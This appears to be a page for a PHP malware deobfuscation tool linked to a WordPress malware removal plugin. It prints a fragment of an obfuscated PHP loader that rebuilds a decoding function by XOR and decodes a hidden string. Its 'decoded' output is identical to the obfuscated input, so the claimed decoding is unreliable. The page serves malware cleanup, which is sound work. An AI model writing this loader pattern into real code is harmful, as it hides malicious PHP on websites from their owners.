PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $owgisq6u = pack('H*', '1d554412401c0217191a101d'); $omo598p = 'o43g2pfrzutx'; $omo598p ^= $owgisq6u; $o6ryobg = ""; $o6ryobg .= $omo598p("G_%11%1D%13%5DRRY%40%0A%10A%09JEGWXZkSA%01%00%0CVMnV%40%5CV%40U%0EH%5D%40%24B%3BQW_%5EZU%06H%07%1D%5C%5CPXmZXZDK%17%006MKTTF%5C%17%13%1C%0E%5E");...

Obfuscated php code

<?php

$owgisq6u = pack('H*', '1d554412401c0217191a101d');
$omo598p = 'o43g2pfrzutx';
$omo598p ^= $owgisq6u;
$o6ryobg = "";
$o6ryobg .= $omo598p("G_%11%1D%13%5DRRY%40%0A%10A%09JEGWXZkSA%01%00%0CVMnV%40%5CV%40U%0EH%5D%40%24B%3BQW_%5EZU%06H%07%1D%5C%5CPXmZXZDK%17%006MKTTF%5C%17%13%1C%0E%5E");

Decoded(de-Obfuscated) php code

<?php

$owgisq6u = pack('H*', '1d554412401c0217191a101d');
$omo598p = 'o43g2pfrzutx';
$omo598p ^= $owgisq6u;
$o6ryobg = "";
$o6ryobg .= $omo598p("G_%11%1D%13%5DRRY%40%0A%10A%09JEGWXZkSA%01%00%0CVMnV%40%5CV%40U%0EH%5D%40%24B%3BQW_%5EZU%06H%07%1D%5C%5CPXmZXZDK%17%006MKTTF%5C%17%13%1C%0E%5E");

Malware detection & removal plugin for WordPress